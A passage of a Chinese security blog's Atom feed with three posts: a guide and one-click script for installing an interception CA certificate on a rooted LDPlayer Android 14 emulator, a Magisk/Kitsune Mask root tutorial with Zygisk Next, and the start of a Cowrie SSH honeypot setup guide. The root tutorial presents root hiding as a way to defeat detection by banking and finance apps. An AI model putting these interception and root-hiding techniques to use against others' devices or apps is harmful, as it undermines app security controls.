尝试失败，响应："</span><span>)</span></div></div><div><div><div>71</div></div><div><span>        </span><span>print</span><span>(r2.text[:</span><span>200</span><span>])</span></div></div><div><div><div>72</div></div><div><span>        </span><span># 等待一下重试</span></div></div><div><div><div>73</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.5</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/images/uploads/20260920-162907-935e82.png" alt="2026-09-20_16-28-27.png" /><figcaption>2026-09-20_16-28-27.png</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/leidian-14-cert-install-script/</id>
      <title type="text">【抓包证书一键安装脚本】雷电模拟器14</title>
      <published>2026-09-03T00:00:00.000Z</published>
      <updated>2026-09-03T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/leidian-14-cert-install-script/"/>
      <summary type="text">Android 7+ 不再信任用户安装的证书，抓包时需要把根证书装进系统信任库。本工具自动完成全部流程：</summary>
      <content type="html"><![CDATA[<section><h2>简介<a href="#简介"><span>#</span></a></h2><p>Android 7+ 不再信任用户安装的证书，抓包时需要把根证书装进<strong>系统信任库</strong>。本工具自动完成全部流程：</p><ul>
<li>自动识别证书格式（PEM / DER / PKCS12 / PKCS7）并转成 PEM；</li>
<li>自动计算设备文件名（<code>openssl x509 -subject_hash_old</code>，如 <code>9a5ba575.0</code>），无需手动改名；</li>
<li>自动发现 / 安装 adb 与 openssl，联网即可用；</li>
<li>设备端自动区分两套方案：
<ul>
<li><strong>Android 10+（雷电14）</strong>：tmpfs + bind mount 覆盖 APEX 信任库，重启后失效，重跑一次即可；</li>
<li><strong>Android 9 及以下（雷电9）</strong>：直接写入 <code>/system/etc/security/cacerts</code>，重启后依然有效。</li>
</ul>
</li>
</ul></section>
<section><h2>环境要求<a href="#环境要求"><span>#</span></a></h2>

<table><thead><tr><th>项</th><th>要求</th></tr></thead><tbody><tr><td>系统</td><td>Windows 10 / 11</td></tr><tr><td>模拟器</td><td>雷电模拟器 9 / 14，已开启 <strong>root</strong>（模拟器设置 → 其他设置 → Root 权限，或按教程装 Magisk）</td></tr><tr><td>网络</td><td>首次运行需要联网（自动安装 openssl / adb 时使用）</td></tr><tr><td>证书</td><td>Burp 的 DER、Fiddler 的 CER、Charles 的 PEM、带密码的 PFX 均可</td></tr></tbody></table></section>
<section><h2>三步安装证书<a href="#三步安装证书"><span>#</span></a></h2><ol>
<li>把证书文件复制到 <code>certs\</code> 目录，自己起个名字，例如 <code>Burp.der</code>、<code>Fiddler.p12</code>；</li>
<li>双击 <code>adb.bat</code>；</li>
<li>选 <code>1 安装证书</code>，按提示选择设备和证书，确认信息后自动完成。</li>
</ol><p>也可以直接在资源管理器里把证书文件拖到 <code>adb.bat</code> 图标上，跳过菜单直接安装（支持一次拖多个）。</p></section>
<section><h2>更详细的说明<a href="#更详细的说明"><span>#</span></a></h2><p><a href="https://github.com/tuulei/leidian" target="_blank">https://github.com/tuulei/leidian</a></p></section>
<section><h2>其他下载通道<a href="#其他下载通道"><span>#</span></a></h2><p><a href="https://wwbdr.lanzn.com/iWjkH46b2fuj" target="_blank">蓝奏云网盘</a>，密码：fsjf</p><p><a href="https://pan.quark.cn/s/42ac269257d3?pwd=A9Cy" target="_blank">夸克网盘</a>，提取码：A9Cy</p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/leidian-android14-install-cert/</id>
      <title type="text">【安装证书】雷电Android14模拟器-安卓抓包</title>
      <published>2026-09-03T00:00:00.000Z</published>
      <updated>2026-09-14T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/leidian-android14-install-cert/"/>
      <summary type="text">从 Android 14 开始，系统信任的 CA 证书 存储 路径已经从传统的 /system/etc/security/cacerts 迁移到了 APEX 模块（即只读分区）下的 /apex/com.android.c</summary>
      <content type="html"><![CDATA[<section><h2>说明<a href="#说明"><span>#</span></a></h2><p>从 Android 14 开始，系统信任的 CA 证书 存储 路径已经从传统的 /system/etc/security/cacerts 迁移到了 APEX 模块（即只读分区）下的 /apex/com.android.conscrypt/cacerts。这就是为什么像安卓9那样手动复制到旧的 /system 路径下会失效。<br />
要解决这个问题，可以试试利用tmpfs内存文件系统，这是目前较推荐的方法，通过在内存中创建一个临时文件系统 (tmpfs) 并绑定挂载，绕过对只读分区的直接修改。成功后，证书会立即生效，无需重启模拟器，但是重启后操作会失效。</p></section>
<section><h2>1 获取证书<a href="#1-获取证书"><span>#</span></a></h2><p>从burpsuit导出DER证书<br />
导出证书：在 Burp Suite 里，Proxy -&gt; Options -&gt; Import / export CA certificate -&gt; Export -&gt; Certificate in DER format，导出 cacert.der 文件。</p><p></p><figure><img alt="burp证书导出" loading="lazy" width="1490" height="725" src="/_astro/burp-cert-export-2.C-XwyKRs_Z2lmW1D.webp" /><figcaption>burp证书导出</figcaption></figure><p></p></section>
<section><h2>2 将DER证书转换为PEM证书和改名<a href="#2-将der证书转换为pem证书和改名"><span>#</span></a></h2><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 1. 把 DER 格式转成 PEM 格式</span></div></div><div><div><div>2</div></div><div><span>openssl x509 -inform DER -in cacert.der -out burp.pem</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 2. 计算证书的哈希值（这会是新证书的文件名）</span></div></div><div><div><div>5</div></div><div><span>openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 3. 把 PEM 文件重命名为计算出来的哈希值，后缀是 .0</span></div></div><div><div><div>8</div></div><div><span>#或者直接重命名也行</span></div></div><div><div><div>9</div></div><div><span>ren burp.pem 9a5ba575.0</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>3 模拟器打开root权限和文件读写、adb调试<a href="#3-模拟器打开root权限和文件读写adb调试"><span>#</span></a></h2><p></p><figure><img alt="磁盘设置1" loading="lazy" width="1177" height="571" src="/_astro/disk-settings-1.B-hIH_ig_lqVCJ.webp" /><figcaption>磁盘设置1</figcaption></figure><p></p><p></p><figure><img alt="其他设置2" loading="lazy" width="1190" height="639" src="/_astro/other-settings-2.DrnRgxnX_1hxrwN.webp" /><figcaption>其他设置2</figcaption></figure><p></p></section>
<section><h2><strong>4 使用ADB安装证书</strong><a href="#4-使用adb安装证书"><span>#</span></a></h2><p>假设输出的哈希值为 9a5ba575。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看设备名</span></div></div><div><div><div>2</div></div><div><span>adb devices</span></div></div><div><div><div>3</div></div><div><span># emulator-5558修改为你看到的设备名</span></div></div><div><div><div>4</div></div><div><span># 先将证书拷贝的tmp目录</span></div></div><div><div><div>5</div></div><div><span>adb -s emulator-5558 push 9a5ba575.0 /data/local/tmp/</span></div></div><div><div><div>6</div></div><div><span># 连接模拟器并获取 Root 权限：</span></div></div><div><div><div>7</div></div><div><span>adb -s emulator-5558 root</span></div></div><div><div><div>8</div></div><div><span>adb -s emulator-5558 shell</span></div></div><div><div><div>9</div></div><div><span>su</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/system/bin/sh</span></div></div><div><div><div>2</div></div><div><span>CERT_NAME="9a5ba575.0"   # 记得修改成你的哈希值文件名</span></div></div><div><div><div>3</div></div><div><span>CERT_PATH="/data/local/tmp"  # 假设你把证书放在了这里</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 1. 创建临时目录并复制原有证书</span></div></div><div><div><div>6</div></div><div><span>mkdir -p -m 700 /data/local/tmp/tmp-ca-copy</span></div></div><div><div><div>7</div></div><div><span>cp /apex/com.android.conscrypt/cacerts/* /data/local/tmp/tmp-ca-copy/</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 2. 创建 tmpfs 挂载点</span></div></div><div><div><div>10</div></div><div><span>mount -t tmpfs tmpfs /system/etc/security/cacerts</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># 3. 将原有证书复制回 tmpfs</span></div></div><div><div><div>13</div></div><div><span>mv /data/local/tmp/tmp-ca-copy/* /system/etc/security/cacerts/</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span># 4. 将你的新证书复制进去</span></div></div><div><div><div>16</div></div><div><span>cp /data/local/tmp/$CERT_NAME /system/etc/security/cacerts/</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span># 5. 设置正确的权限和 SELinux 上下文</span></div></div><div><div><div>19</div></div><div><span>chown root:root /system/etc/security/cacerts/*</span></div></div><div><div><div>20</div></div><div><span>chmod 644 /system/etc/security/cacerts/*</span></div></div><div><div><div>21</div></div><div><span>chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span># 6. 将挂载绑定到新路径</span></div></div><div><div><div>24</div></div><div><span>mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>
<section><h2><strong>5 在模拟器中检查证书</strong><a href="#5-在模拟器中检查证书"><span>#</span></a></h2><p>设置-&gt;安全和隐私-&gt;更多安全和隐私设置-&gt;加密与凭据-&gt;可信凭据<br />
看到PortSwigger表示成功</p><p></p><figure><img alt="检查证书" loading="lazy" width="871" height="643" src="/_astro/check-cert.CptCUi3K_Z2aMIka.webp" /><figcaption>检查证书</figcaption></figure><p></p></section>
<section><h2>6 自动脚本<a href="#6-自动脚本"><span>#</span></a></h2><p>了解了原理，可以使用适用雷电9/14的证书安装工具，避免重复劳动。</p></section>
<section><h2>下载通道<a href="#下载通道"><span>#</span></a></h2><p><a href="/posts/leidian-14-cert-install-script/">【抓包证书一键安装脚本】雷电模拟器14-tuulei</a></p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/leidian-14-magisk-kitsune-mask-tutorial/</id>
      <title type="text">【Kitsune Mask / 狐狸面具】雷电模拟器 14 安装 Magisk  root完整教程</title>
      <published>2026-08-21T00:00:00.000Z</published>
      <updated>2026-08-28T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/leidian-14-magisk-kitsune-mask-tutorial/"/>
      <summary type="text">雷电模拟器 14 安装 Magisk（Kitsune Mask / 狐狸面具）完整教程：前置配置、安装面具主体、LSPosed + Zygisk Next 框架、KsuWebUI 配置与常见问题排查，雷电 9 同样适用。</summary>
      <content type="html"><![CDATA[<hr />
<section><h2>适用范围与重要说明<a href="#适用范围与重要说明"><span>#</span></a></h2><ul>
<li>雷电模拟器 <strong>14</strong> 基于 <strong>Android 14</strong> 内核，<strong>仅支持 Kitsune Mask（狐狸面具 27.2 版本）</strong>，不推荐使用普通官方版 Magisk。</li>
<li>本教程同样适用于<strong>雷电模拟器 9</strong>，操作完全一致。</li>
<li>全程在雷电 14、雷电 9 上实测通过。</li>
<li>模拟器软件自带的<strong>重启按钮无效</strong>，需要手动重启时请点右上角 X 关闭模拟器后重新打开。</li>
</ul></section>
<section><h2>所需文件清单<a href="#所需文件清单"><span>#</span></a></h2>

<table><thead><tr><th>文件</th><th>用途</th></tr></thead><tbody><tr><td>Kitsune Mask 27.2（狐狸面具 APK）</td><td>面具主体，用于接管 Root</td></tr><tr><td>LSPosed-v2.1.0-7769-release.zip</td><td>Xposed 框架模块</td></tr><tr><td>Zygisk-Next-1.4.2.zip</td><td>Root 隐藏模块（替代老旧的内置 Zygisk）</td></tr><tr><td>KsuWebUI</td><td>可视化模块管理软件</td></tr></tbody></table></section>
<section><h2>下载通道<a href="#下载通道"><span>#</span></a></h2><p><a href="https://wwbdr.lanzoup.com/iZFDf43s69ta" target="_blank">蓝奏云网盘</a>，密码：tuulei</p><p><a href="https://pan.quark.cn/s/eb528b548640" target="_blank">夸克网盘</a> ，提取码：vQtA</p><p><a href="https://i.chaoxing.com/" target="_blank">超新学习通云盘</a>，邀请码：djxq6378</p><hr /></section>
<section><h2>一、前置配置<a href="#一前置配置"><span>#</span></a></h2><ol>
<li>打开雷电模拟器<strong>设置</strong>。</li>
<li>开启 <strong>ROOT 权限</strong>。</li>
<li>打开 <strong>磁盘 system 分区可写入</strong>功能。</li>
<li>保存设置后<strong>重启模拟器</strong>。</li>
</ol><p></p><figure><img alt="开启 ROOT 权限" loading="lazy" width="1199" height="899" src="/_astro/01-enable-root.DcpjfWP2_ZCx1N.webp" /><figcaption>开启 ROOT 权限</figcaption></figure><p></p><p></p><figure><img alt="开启 system 分区可写入" loading="lazy" width="1199" height="899" src="/_astro/02-system-writable.D5QV-Myz_Zd6Hcj.webp" /><figcaption>开启 system 分区可写入</figcaption></figure><p></p><hr /></section>
<section><h2>二、安装面具主体<a href="#二安装面具主体"><span>#</span></a></h2><p>将 <strong>Kitsune Mask 27.2</strong> 的 APK 安装包直接拖入模拟器窗口，按提示完成安装。</p><p></p><figure><img alt="拖入 APK 安装" loading="lazy" width="1339" height="779" src="/_astro/03-install-apk.D1yHNfon_Hr7Vg.webp" /><figcaption>拖入 APK 安装</figcaption></figure><p></p><hr /></section>
<section><h2>三、执行安装流程<a href="#三执行安装流程"><span>#</span></a></h2><ol>
<li>打开面具 APP，点击顶部的「<strong>安装</strong>」按钮。</li>
<li>保持默认勾选，<strong>必须选择「直接安装（直接修改 /system）」</strong>，再点击「开始」。</li>
<li>安装完成后，应用界面底部会提示 <strong>“All done!”</strong>，此时需要<strong>手动重启模拟器</strong>。</li>
</ol><blockquote><p>⚠️ 模拟器暂不支持软件自带的重启功能：点击软件内的蓝色重启按键是无效的，记得点右上角 <strong>X</strong> 手动重启。</p></blockquote><p></p><figure><img alt="点击安装" loading="lazy" width="2011" height="1170" src="/_astro/04-click-install.BK4sZ5qn_66BUB.webp" /><figcaption>点击安装</figcaption></figure><p></p><p></p><figure><img alt="选择直接安装" loading="lazy" width="2011" height="1168" src="/_astro/05-direct-install.CbetZQRy_ZE7zYa.webp" /><figcaption>选择直接安装</figcaption></figure><p></p><p></p><figure><img alt="安装完成" loading="lazy" width="2011" height="1168" src="/_astro/06-install-done.JznKvtbG_Z1UU31f.webp" /><figcaption>安装完成</figcaption></figure><p></p><hr /></section>
<section><h2>四、解决权限冲突<a href="#四解决权限冲突"><span>#</span></a></h2><ol>
<li>使用 ROOT 模式的文件管理器（如 MT 管理器）。</li>
<li>删除 <code>/system/xbin/su</code> 文件。</li>
<li>首次删除若提示失败，可再次操作；提示“文件不存在”即表示完成。</li>
</ol><p></p><figure><img alt="删除 su 文件" loading="lazy" width="2007" height="1170" src="/_astro/07-delete-su.DTuyoyo8_ZgAtLc.webp" /><figcaption>删除 su 文件</figcaption></figure><p></p><hr /></section>
<section><h2>五、安装框架（LSPosed + Zygisk Next）<a href="#五安装框架lsposed--zygisk-next"><span>#</span></a></h2><ol>
<li>将 <strong>LSPosed-v2.1.0-7769-release.zip</strong> 和 <strong>Zygisk-Next-1.4.2.zip</strong> 两个安装包拖入模拟器，它们会自动放入 <strong>Pictures</strong> 共享目录。</li>
<li>打开桌面的狐狸面具 <strong>Kitsune Mask</strong>。</li>
<li>点击<strong>右下角「模块」</strong>，选择<strong>从本地安装</strong>。</li>
<li>将两个压缩包依次安装为模块。</li>
<li><strong>重启模拟器</strong>。</li>
</ol><p></p><figure><img alt="模块入口" loading="lazy" width="1917" height="1080" src="/_astro/08-module-local-install.D5ukLPYk_Zlsncj.webp" /><figcaption>模块入口</figcaption></figure><p></p><p></p><figure><img alt="选择压缩包" loading="lazy" width="1917" height="1080" src="/_astro/09-module-select-zip.CtVSwD2S_dsesv.webp" /><figcaption>选择压缩包</figcaption></figure><p></p><p></p><figure><img alt="安装中" loading="lazy" width="1917" height="1080" src="/_astro/10-module-installing.DG70LPiq_1jT72T.webp" /><figcaption>安装中</figcaption></figure><p></p><p></p><figure><img alt="重启确认" loading="lazy" width="1917" height="1080" src="/_astro/11-module-reboot-confirm.CnvaiB4O_ZAEl0.webp" /><figcaption>重启确认</figcaption></figure><p></p><p></p><figure><img alt="安装完成" loading="lazy" width="1917" height="1080" src="/_astro/12-module-installed.Cm9oIsc0_Z1lu2sX.webp" /><figcaption>安装完成</figcaption></figure><p></p><p></p><figure><img alt="模块列表" loading="lazy" width="1917" height="1080" src="/_astro/13-module-list.DHPgwJjc_Zvrqh5.webp" /><figcaption>模块列表</figcaption></figure><p></p><hr /></section>
<section><h2>六、安装并配置 KsuWebUI<a href="#六安装并配置-ksuwebui"><span>#</span></a></h2><ol>
<li>打开 KsuWebUI 软件，授予其<strong>管理员（超级用户）权限</strong>。</li>
<li>按下方说明和截图进行设置。</li>
</ol><p></p><figure><img alt="KsuWebUI 设置 1" loading="lazy" width="2399" height="1350" src="/_astro/14-ksuwebui-settings-1.binS2aOu_ZfBoWL.webp" /><figcaption>KsuWebUI 设置 1</figcaption></figure><p></p><p></p><figure><img alt="KsuWebUI 设置 2" loading="lazy" width="2399" height="1350" src="/_astro/15-ksuwebui-settings-2.CwB-edls_1XbOgI.webp" /><figcaption>KsuWebUI 设置 2</figcaption></figure><p></p><section><h3>Zygisk 设置<a href="#zygisk-设置"><span>#</span></a></h3><ul>
<li><strong>匿名内存</strong>：数据全内存运行，反检测力 MAX，建议常开。</li>
<li><strong>Zygisk 链接器</strong>：用于替代传统 Magisk 内置 Zygisk 的加载方式，提升隐蔽性、稳定性和兼容性。</li>
</ul></section><section><h3>排除策略<a href="#排除策略"><span>#</span></a></h3><ul>
<li><strong>强制模式</strong>：银行 / 金融类 App 必备。</li>
<li><strong>仅还原挂载</strong>：用于游戏兼容性修复。</li>
</ul><hr /></section></section>
<section><h2>常见问题排查<a href="#常见问题排查"><span>#</span></a></h2><section><h3>错误 1：Zygisk Next 提示 “Please disable built-in zygisk of magisk”<a href="#错误-1zygisk-next-提示-please-disable-built-in-zygisk-of-magisk"><span>#</span></a></h3><p><strong>原因</strong>：狐狸面具自带 Zygisk，与 Zygisk Next 同时开启会冲突。自带 Zygisk 程序老旧、不更新，隐藏 Root 效果较差，已基本淘汰，目前主流是使用 <strong>Zygisk Next</strong> 进行隐藏。</p><p><strong>解决办法</strong>：</p><ol>
<li>点击狐狸面具右上角的<strong>设置</strong>按钮。</li>
<li>将 <strong>Magisk</strong> 里的选项<strong>全部取消勾选</strong>，重启模拟器。</li>
<li>如果仍无法解决，可先将 Magisk 选项<strong>全部勾选</strong>并重启，然后再<strong>全部取消勾选</strong>并重启。</li>
</ol><p></p><figure><img alt="关闭内置 Zygisk" loading="lazy" width="2399" height="1348" src="/_astro/16-error1-disable-builtin-zygisk.1wZsnPMd_h1JM2.webp" /><figcaption>关闭内置 Zygisk</figcaption></figure><p></p><p></p><figure><img alt="设置界面" loading="lazy" width="2237" height="1258" src="/_astro/17-error1-settings.tYL3a_bm_22kIKa.webp" /><figcaption>设置界面</figcaption></figure><p></p><p></p><figure><img alt="恢复正常" loading="lazy" width="2237" height="1250" src="/_astro/18-error1-normal.DiTeblHg_Z1vgssB.webp" /><figcaption>恢复正常</figcaption></figure><p></p></section><section><h3>错误 2：LSPosed 显示“Zygisk 未启用，此模块暂停加载”<a href="#错误-2lsposed-显示zygisk-未启用此模块暂停加载"><span>#</span></a></h3><p>这是面具的<strong>显示错误</strong>，不影响模块使用。可在电脑上打开 <strong>LSPosed-v2.1.0.zip</strong> 压缩包，找到 <strong>manager.apk</strong> 文件解压到桌面，再拖入雷电模拟器安装，即可正常设置 LSPosed 模块。</p><p></p><figure><img alt="LSPosed 提示" loading="lazy" width="2396" height="1338" src="/_astro/19-error2-lsposed-prompt.C4rTkNTL_ZOyI3b.webp" /><figcaption>LSPosed 提示</figcaption></figure><p></p><p></p><figure><img alt="安装 manager" loading="lazy" width="1703" height="956" src="/_astro/20-error2-manager-install.5oYa0Ax6_N3fgC.webp" /><figcaption>安装 manager</figcaption></figure><p></p><hr /></section></section>
<section><h2>常见疑问（FAQ）<a href="#常见疑问faq"><span>#</span></a></h2><p><strong>Q：雷电模拟器不是自带 ROOT 吗？为什么还要装面具？</strong></p><p>A：安装面具是为了使用 <strong>LSPosed 模块</strong>。装好模块后，可以关闭模拟器自带的 ROOT 开关，不影响正常使用。</p><p><strong>Q：Zygisk Next 一定要装吗？</strong></p><p>A：Zygisk Next 是隐藏 Root 的模块。银行、游戏等 App 在打开时会检测 Root，检测到后软件无法打开；使用它可屏蔽大部分检测。如果对隐藏没有特殊要求，也可以不安装，不影响正常使用。</p></section>
<section><h2>下载通道<a href="#下载通道-1"><span>#</span></a></h2><p><a href="https://wwbdr.lanzoup.com/iZFDf43s69ta" target="_blank">蓝奏云网盘</a>，密码：tuulei</p><p><a href="https://pan.quark.cn/s/eb528b548640" target="_blank">夸克网盘</a> ，提取码：vQtA</p><p><a href="https://i.chaoxing.com/" target="_blank">超新学习通云盘</a>，邀请码：djxq6378</p><hr /></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/cowrie-honeypot/</id>
      <title type="text">【cowrie蜜罐】从 0 搭建 Cowrie 蜜罐，并分析真实 SSH 攻击日志</title>
      <published>2026-06-22T00:00:00.000Z</published>
      <updated>2026-08-26T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/cowrie-honeypot/"/>
      <summary type="text">僵尸网络ssh扫描攻击公网服务器</summary>
      <content type="html"><![CDATA[<section><h2>一、前言<a href="#一前言"><span>#</span></a></h2><ul>
<li>在网络安全领域，蜜罐（Honeypot）是一种主动防御技术，通过模拟存在漏洞的服务，吸引攻击者的探测与攻击，从而收集攻击行为、工具和手法，为安全防护提供真实的威胁情报。</li>
<li>Cowrie 是一款基于 Python 开发的中高交互 SSH/Telnet 蜜罐，它模拟了一个虚假的 Linux 系统环境，攻击者连接后会获得一个假 Shell，执行的所有命令、上传的恶意文件都会被完整记录。本文将带你从 0 开始搭建 Cowrie 蜜罐，并通过真实攻击日志分析攻击者的行为模式。</li>
</ul></section>
<section><h2>二、环境准备<a href="#二环境准备"><span>#</span></a></h2><p>Cowrie 本身是跨平台 Python 程序，核心逻辑完全一样，只有安装依赖、防火墙、包管理器三部分命令不同。（本文以 AlmaLinux 9 为例）</p><section><h3>1. 系统依赖安装<a href="#1-系统依赖安装"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 更新系统包</span></div></div><div><div><div>2</div></div><div><span>dnf</span><span> </span><span>update</span><span> </span><span>-y</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 安装基础依赖</span></div></div><div><div><div>5</div></div><div><span>dnf</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>epel-release</span></div></div><div><div><div>6</div></div><div><span>dnf</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>git</span><span> </span><span>python3</span><span> </span><span>python3-pip</span><span> </span><span>python3-virtualenv</span><span> </span><span>libffi-devel</span><span> </span><span>openssl-devel</span><span> </span><span>gcc</span><span> </span><span>make</span><span> </span><span>authbind</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果提示某些包没有，也没关系，我们再调整。<br />
有些版本里 python3-virtualenv 可能叫法不同，可以补装：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>dnf</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>python3-devel</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>必须保证python的版本大于3.9</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python3.11</span><span> </span><span>--version</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>没有就安装</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>dnf</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>python3.11</span><span> </span><span>python3.11-pip</span><span> </span><span>python3.11-devel</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>装完再检查</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python3.11</span><span> </span><span>--version</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2. 创建专用用户<a href="#2-创建专用用户"><span>#</span></a></h3><ul>
<li>不要用 root 跑 Cowrie</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>useradd</span><span> </span><span>-m</span><span> </span><span>-s</span><span> </span><span>/bin/bash</span><span> </span><span>cowrie</span></div></div><div><div><div>2</div></div><div><span>passwd</span><span> </span><span>cowrie</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>切换到cowrie用户</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>su</span><span> </span><span>-</span><span> </span><span>cowrie</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>现在应该在cowrie目录（/home/cowrie）</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>#确认一下</span></div></div><div><div><div>2</div></div><div><span>pwd</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>三、下载 Cowrie<a href="#三下载-cowrie"><span>#</span></a></h2><ul>
<li>在 cowrie 用户下执行：</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>http://github.com/cowrie/cowrie</span></div></div><div><div><div>2</div></div><div><span>cd</span><span> </span><span>cowrie</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>在/home/cowrie/cowrie/ 目录创建虚拟环境</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python3.11</span><span> </span><span>-m</span><span> </span><span>venv</span><span> </span><span>cowrie-env</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>激活虚拟环境 ；激活后，命令行前面一般会出现 (cowrie-env)</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>source</span><span> </span><span>cowrie-env/bin/activate</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>升级pip</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pip</span><span> </span><span>install</span><span> </span><span>--upgrade</span><span> </span><span>pip</span><span> </span><span>setuptools</span><span> </span><span>wheel</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>安装 Cowrie 依赖</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pip</span><span> </span><span>install</span><span> </span><span>-r</span><span> </span><span>requirements.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果报编译错误，通常是缺少系统依赖，<strong>回到root 安装</strong>：<br />
（要退出虚拟环境<code>deactivate</code>）</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>dnf</span><span> </span><span>install</span><span> </span><span>-y</span><span> </span><span>gcc</span><span> </span><span>libffi-devel</span><span> </span><span>openssl-devel</span><span> </span><span>python3-devel</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>然后再按<em>步骤</em> 回来重试。</strong>(注意不要进错目录）</p></section>
<section><h2>四、配置 Cowrie<a href="#四配置-cowrie"><span>#</span></a></h2><p>Cowrie 默认配置文件不是直接改原文件，而是复制一份：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cp</span><span> </span><span>etc/cowrie.cfg.dist</span><span> </span><span>etc/cowrie.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>编辑配置：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vi</span><span> </span><span>etc/cowrie.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查找类似：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[ssh]</span></div></div><div><div><div>2</div></div><div><span>listen_endpoints = tcp:2222:interface=0.0.0.0</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这表示 Cowrie 监听 0.0.0.0&lt;2222&gt;。<br />
先保持这个最稳妥。</p><hr /></section>
<section><h2>五、启动 Cowrie<a href="#五启动-cowrie"><span>#</span></a></h2><p>确保你当前仍然在：/home/cowrie/cowrie；并且虚拟环境已激活，然后启动：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>bin/cowrie</span><span> </span><span>start</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>分别查看状态和日志</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>bin/cowrie</span><span> </span><span>status</span></div></div><div><div><div>2</div></div><div><span>tail</span><span> </span><span>-f</span><span> </span><span>var/log/cowrie/cowrie.log</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果启动成功，应该能看到监听信息。</p></section>
